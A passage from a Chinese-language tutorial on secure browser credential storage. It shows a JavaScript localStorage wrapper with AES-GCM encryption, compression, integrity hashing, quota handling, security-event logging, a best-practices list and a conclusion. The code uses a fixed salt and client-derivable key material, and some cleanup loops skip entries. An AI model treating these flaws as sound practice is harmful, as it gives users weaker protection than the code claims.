const item = this.getRaw(storageKey);
if (item) {
localStorage.removeItem(storageKey);
this.updateStats(-item.metadata.size);
removed = true;
}
} else {
// 移除所有類型的數據
Object.values(this.storageTypes).forEach(type => {
const storageKey = this.getStorageKey(key, type);
const item = this.getRaw(storageKey);
if (item) {
localStorage.removeItem(storageKey);
this.updateStats(-item.metadata.size);
removed = true;
}
});
}
if (removed) {
this.triggerEvent('itemRemoved', { key });
}
return removed;
}
// 清理過期數據
cleanupExpired() {
const now = Date.now();
let cleanedCount = 0;
Object.values(this.storageTypes).forEach(type => {
const prefix = `${this.appName}:${type}:`;
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
if (key.startsWith(prefix)) {
try {
const item = JSON.parse(localStorage.getItem(key));
if (item.metadata.expires && now > item.metadata.expires) {
localStorage.removeItem(key);
this.updateStats(-item.metadata.size);
cleanedCount++;
this.triggerEvent('itemExpired', {
key: item.metadata.key,
type: type
});
}
} catch (e) {
// 解析失敗,移除損壞的數據
localStorage.removeItem(key);
}
}
}
});
if (cleanedCount > 0) {
console.log(`清理了 ${cleanedCount} 個過期項目`);
}
// 更新命名空間
const namespace = this.getRaw('namespace');
namespace.stats.lastCleaned = new Date().toISOString();
this.setRaw('namespace', namespace);
return cleanedCount;
}
// 清理會話數據
cleanupSessionData() {
const prefix = `${this.appName}:${this.storageTypes.SESSION}:`;
let cleanedCount = 0;
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
if (key.startsWith(prefix)) {
localStorage.removeItem(key);
cleanedCount++;
}
}
return cleanedCount;
}
// 處理存儲事件
handleStorageEvent(event) {
if (event.key && event.key.startsWith(this.appName)) {
this.triggerEvent('storageChanged', {
key: event.key,
oldValue: event.oldValue,
newValue: event.newValue,
url: event.url,
storageArea: event.storageArea
});
}
}
// 處理安全事件
handleSecurityEvent(event) {
const { type, severity, details } = event.detail;
switch (type) {
case 'xss_attempt':
this.handleXSSTAttempt(details);
break;
case 'tamper_detected':
this.handleTamperDetection(details);
break;
case 'quota_exceeded':
this.handleQuotaExceeded(details);
break;
}
}
// 處理XSS嘗試
handleXSSTAttempt(details) {
// 記錄安全事件
this.logSecurityEvent('xss_attempt', details);
// 如果嚴重,清除敏感數據
if (details.severity === 'high') {
this.clearSensitiveData();
}
}
// 處理篡改檢測
handleTamperDetection(details) {
this.logSecurityEvent('tamper_detected', details);
// 驗證所有數據的完整性
this.validateAllIntegrity();
}
// 處理配額超出
handleQuotaExceeded(details) {
this.logSecurityEvent('quota_exceeded', details);
// 自動清理舊數據
this.quota.cleanupOldData();
}
// 驗證所有數據完整性
async validateAllIntegrity() {
const invalidItems = [];
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
if (key.startsWith(this.appName)) {
try {
const item = JSON.parse(localStorage.getItem(key));
if (item.metadata.integrityHash) {
const valid = await this.integrity.verifyHash(
item.data,
item.metadata.integrityHash
);
if (!valid) {
invalidItems.push({
key: item.metadata.key,
type: item.metadata.type,
storageKey: key
});
}
}
} catch (e) {
// 解析失敗,視為無效
invalidItems.push({
key: key,
type: 'unknown',
storageKey: key,
error: e.message
});
}
}
}
// 處理無效項目
invalidItems.forEach(item => {
console.warn(`移除完整性驗證失敗的項目: ${item.key}`);
localStorage.removeItem(item.storageKey);
});
return invalidItems;
}
// 清除敏感數據
clearSensitiveData() {
const sensitiveKeys = this.findSensitiveKeys();
sensitiveKeys.forEach(key => {
this.remove(key);
});
console.log(`清除了 ${sensitiveKeys.length} 個敏感數據項目`);
}
// 查找敏感鍵
findSensitiveKeys() {
const sensitiveKeys = [];
const sensitivePatterns = [
/token/i,
/password/i,
/secret/i,
/key/i,
/auth/i,
/credential/i
];
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
if (key.startsWith(this.appName)) {
try {
const item = JSON.parse(localStorage.getItem(key));
if (sensitivePatterns.some(pattern => pattern.test(item.metadata.key))) {
sensitiveKeys.push(item.metadata.key);
}
} catch (e) {
// 跳過解析失敗的項目
}
}
}
return [...new Set(sensitiveKeys)]; // 去重
}
// 記錄安全事件
logSecurityEvent(type, details) {
const events = this.getSecurityEvents();
events.push({
type,
details,
timestamp: new Date().toISOString(),
userAgent: navigator.userAgent,
url: window.location.href
});
// 只保留最近的100個事件
if (events.length > 100) {
events.shift();
}
this.setRaw('security_events', events);
}
// 獲取安全事件
getSecurityEvents() {
return this.getRaw('security_events') || [];
}
// 獲取存儲統計信息
getStats() {
const namespace = this.getRaw('namespace');
return namespace ? namespace.stats : null;
}
// 獲取所有鍵
keys(type = null) {
const keys = [];
const prefixes = type ?
[`${this.appName}:${type}:`] :
Object.values(this.storageTypes).map(t => `${this.appName}:${t}:`);
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
if (prefixes.some(prefix => key.startsWith(prefix))) {
try {
const item = JSON.parse(localStorage.getItem(key));
keys.push(item.metadata.key);
} catch (e) {
// 跳過解析失敗的項目
}
}
}
return [...new Set(keys)]; // 去重
}
// 清空所有數據
clear() {
const prefixes = Object.values(this.storageTypes).map(t => `${this.appName}:${t}:`);
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
if (prefixes.some(prefix => key.startsWith(prefix))) {
localStorage.removeItem(key);
}
}
// 清除命名空間
localStorage.removeItem(`${this.appName}:namespace`);
this.triggerEvent('storageCleared', {});
return true;
}
// 工具方法
getStorageKey(key, type) {
return `${this.appName}:${type}:${key}`;
}
setRaw(key, value) {
localStorage.setItem(key, JSON.stringify(value));
}
getRaw(key) {
const item = localStorage.getItem(key);
return item ? JSON.parse(item) : null;
}
calculateSize(data) {
return JSON.stringify(data).length;
}
updateStats(sizeDelta) {
const namespace = this.getRaw('namespace');
if (namespace) {
namespace.stats.totalItems = this.keys().length;
namespace.stats.totalSize = Math.max(0, (namespace.stats.totalSize || 0) + sizeDelta);
this.setRaw('namespace', namespace);
}
}
triggerEvent(name, detail) {
const event = new CustomEvent(`secureStorage:${name}`, {
detail: detail
});
window.dispatchEvent(event);
}
}
// 加密管理器
class EncryptionManager {
constructor() {
this.algorithm = 'AES-GCM';
this.keyCache = new Map();
}
async getKey(material) {
if (this.keyCache.has(material)) {
return this.keyCache.get(material);
}
const encoder = new TextEncoder();
const keyMaterial = encoder.encode(material + window.location.origin);
const key = await crypto.subtle.importKey(
'raw',
keyMaterial,
'PBKDF2',
false,
['deriveKey']
);
const salt = encoder.encode('secure-storage-salt');
const derivedKey = await crypto.subtle.deriveKey(
{
name: 'PBKDF2',
salt: salt,
iterations: 100000,
hash: 'SHA-256'
},
key,
{ name: this.algorithm, length: 256 },
true,
['encrypt', 'decrypt']
);
this.keyCache.set(material, derivedKey);
return derivedKey;
}
async encrypt(data, material) {
const key = await this.getKey(material);
const encoder = new TextEncoder();
const dataStr = typeof data === 'string' ? data : JSON.stringify(data);
const dataBuffer = encoder.encode(dataStr);
const iv = crypto.getRandomValues(new Uint8Array(12));
const encryptedBuffer = await crypto.subtle.encrypt(
{
name: this.algorithm,
iv: iv
},
key,
dataBuffer
);
const result = new Uint8Array(iv.length + encryptedBuffer.byteLength);
result.set(iv, 0);
result.set(new Uint8Array(encryptedBuffer), iv.length);
return this.arrayBufferToBase64(result);
}
async decrypt(encryptedData, material) {
try {
const key = await this.getKey(material);
const encryptedBuffer = this.base64ToArrayBuffer(encryptedData);
const iv = encryptedBuffer.slice(0, 12);
const data = encryptedBuffer.slice(12);
const decryptedBuffer = await crypto.subtle.decrypt(
{
name: this.algorithm,
iv: iv
},
key,
data
);
const decoder = new TextDecoder();
const decryptedStr = decoder.decode(decryptedBuffer);
// 嘗試解析為JSON
try {
return JSON.parse(decryptedStr);
} catch (e) {
return decryptedStr;
}
} catch (error) {
console.error('解密失敗:', error);
throw new Error('解密失敗');
}
}
arrayBufferToBase64(buffer) {
const bytes = new Uint8Array(buffer);
let binary = '';
for (let i = 0; i < bytes.byteLength; i++) {
binary += String.fromCharCode(bytes[i]);
}
return btoa(binary);
}
base64ToArrayBuffer(base64) {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes.buffer;
}
}
// 壓縮管理器
class CompressionManager {
constructor() {
this.supported = typeof CompressionStream !== 'undefined';
}
isCompressible(data) {
if (!this.supported) return false;
const str = typeof data === 'string' ? data : JSON.stringify(data);
return str.length > 1024; // 只壓縮大於1KB的數據
}
async compress(data) {
if (!this.supported) return data;
const str = typeof data === 'string' ? data : JSON.stringify(data);
const encoder = new TextEncoder();
const dataBuffer = encoder.encode(str);
const cs = new CompressionStream('gzip');
const writer = cs.writable.getWriter();
writer.write(dataBuffer);
writer.close();
const compressedBuffer = await new Response(cs.readable).arrayBuffer();
return this.arrayBufferToBase64(compressedBuffer);
}
async decompress(compressedData) {
if (!this.supported) return compressedData;
try {
const compressedBuffer = this.base64ToArrayBuffer(compressedData);
const ds = new DecompressionStream('gzip');
const writer = ds.writable.getWriter();
writer.write(compressedBuffer);
writer.close();
const decompressedBuffer = await new Response(ds.readable).arrayBuffer();
const decoder = new TextDecoder();
const decompressedStr = decoder.decode(decompressedBuffer);
// 嘗試解析為JSON
try {
return JSON.parse(decompressedStr);
} catch (e) {
return decompressedStr;
}
} catch (error) {
console.error('解壓縮失敗:', error);
return compressedData;
}
}
arrayBufferToBase64(buffer) {
const bytes = new Uint8Array(buffer);
let binary = '';
for (let i = 0; i < bytes.byteLength; i++) {
binary += String.fromCharCode(bytes[i]);
}
return btoa(binary);
}
base64ToArrayBuffer(base64) {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes.buffer;
}
}
// 完整性管理器
class IntegrityManager {
async calculateHash(data) {
const str = typeof data === 'string' ? data : JSON.stringify(data);
const encoder = new TextEncoder();
const dataBuffer = encoder.encode(str);
const hashBuffer = await crypto.subtle.digest('SHA-256', dataBuffer);
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
return hashHex;
}
async verifyHash(data, expectedHash) {
const calculatedHash = await this.calculateHash(data);
return calculatedHash === expectedHash;
}
}
// 配額管理器
class QuotaManager {
constructor(maxSize) {
this.maxSize = maxSize;
this.warningThreshold = 0.8; // 80%
}
canStore(size) {
const currentSize = this.getCurrentSize();
return currentSize + size <= this.maxSize;
}
async makeSpace(requiredSize) {
let freedSize = 0;
const items = this.getStoredItemsByAge();
for (const item of items) {
if (freedSize >= requiredSize) break;
localStorage.removeItem(item.key);
freedSize += item.size;
console.log(`為配額清理項目: ${item.key}, 大小: ${item.size} bytes`);
}
if (freedSize < requiredSize) {
throw new Error('無法釋放足夠的存儲空間');
}
return freedSize;
}
cleanupOldData() {
const currentSize = this.getCurrentSize();
if (currentSize > this.maxSize * this.warningThreshold) {
const toFree = currentSize - (this.maxSize * 0.5); // 清理到50%
this.makeSpace(toFree);
}
}
getCurrentSize() {
let totalSize = 0;
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
const item = localStorage.getItem(key);
if (item) {
totalSize += key.length + item.length;
}
}
return totalSize;
}
getStoredItemsByAge() {
const items = [];
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
const itemStr = localStorage.getItem(key);
if (itemStr) {
try {
const item = JSON.parse(itemStr);
items.push({
key: key,
size: key.length + itemStr.length,
lastAccessed: item.metadata.lastAccessed || item.metadata.created,
expires: item.metadata.expires
});
} catch (e) {
// 跳過解析失敗的項目
}
}
}
// 按最後訪問時間排序(最舊的優先)
return items.sort((a, b) => a.lastAccessed - b.lastAccessed);
}
}
// 使用示例
const secureStorage = new CompleteSecureStorage('MyApp', {
encryptionEnabled: true,
compressionEnabled: true,
defaultExpiry: 24 * 60 * 60 * 1000, // 24小時
maxTotalSize: 5 * 1024 * 1024 // 5MB
});
// 監聽存儲事件
window.addEventListener('secureStorage:itemStored', (event) => {
console.log('項目已存儲:', event.detail.key);
});
window.addEventListener('secureStorage:itemRetrieved', (event) => {
console.log('項目已讀取:', event.detail.key);
});
// 存儲數據
async function saveUserData(user) {
await secureStorage.set('user_profile', user, {
type: secureStorage.storageTypes.SECURE,
encrypt: true,
compress: true,
expiresIn: 7 * 24 * 60 * 60 * 1000 // 7天
});
console.log('用戶數據已安全保存');
}
// 讀取數據
async function loadUserData() {
const user = await secureStorage.get('user_profile', {
decrypt: true,
decompress: true
});
if (user) {
console.log('用戶數據已安全加載');
return user;
}
return null;
}
// 獲取統計信息
function getStorageInfo() {
const stats = secureStorage.getStats();
const events = secureStorage.getSecurityEvents();
return {
stats,
recentSecurityEvents: events.slice(-5),
totalKeys: secureStorage.keys().length,
storageTypes: Object.values(secureStorage.storageTypes).map(type => ({
type,
keys: secureStorage.keys(type)
}))
};
}
7.2 安全存儲的最佳實踐總結
-
分層安全策略
-
根據數據敏感度選擇存儲方式
-
實施深度防禦原則
-
定期審查和更新安全策略
-
-
加密原則
-
始終在客戶端加密敏感數據
-
使用強加密算法(如AES-GCM)
-
安全管理加密密鑰
-
定期輪換加密密鑰
-
-
完整性驗證
-
對所有存儲數據進行完整性檢查
-
使用加密哈希驗證數據完整性
-
檢測和防止數據篡改
-
-
訪問控制
-
實施最小權限原則
-
驗證數據訪問的合法性
-
記錄所有訪問嘗試
-
-
生命周期管理
-
設置合理的過期時間
-
定期清理過期數據
-
實施自動刷新機制
-
-
監控和審計
-
記錄所有安全相關事件
-
實施實時監控
-
定期進行安全審計
-
-
錯誤處理
-
優雅處理存儲錯誤
-
實施重試機制
-
提供用戶友好的錯誤信息
-
-
性能考慮
-
平衡安全和性能
-
使用壓縮減少存儲空間
-
實現延遲加載
-
-
兼容性
-
支持多種瀏覽器
-
提供降級方案
-
測試邊界情況
-
-
隱私保護
-
最小化數據收集
-
匿名化敏感信息
-
遵守隱私法規(如GDPR)
-
結論
憑證安全存儲是現代Web應用安全的重要組成部分。通過本文的深入探討和實現代碼,我們可以看到安全管理Cookie和LocalStorage需要綜合考慮多個方面:
-
理解不同存儲機制的特性和限制是基礎
-
實施分層安全策略可以最大化保護效果
-
加密和完整性驗證是防止數據洩露和篡改的關鍵
-
自動化管理和監控能有效減少人為錯誤
-
持續更新和改進是應對新威脅的必要手段
實現安全的憑證存儲不僅需要技術知識,更需要系統性的思考和持續的維護。希望本文提供的實現代碼和最佳實踐能幫助開發者構建更安全的Web應用。
在實際應用中,開發者應根據具體需求調整這些方案,並結合其他安全措施(如CSP、CORS、輸入驗證等)構建全面的安全防護體系。記住,安全是一個持續的過程,而不是一次性的任務。
更多推荐

所有评论(0)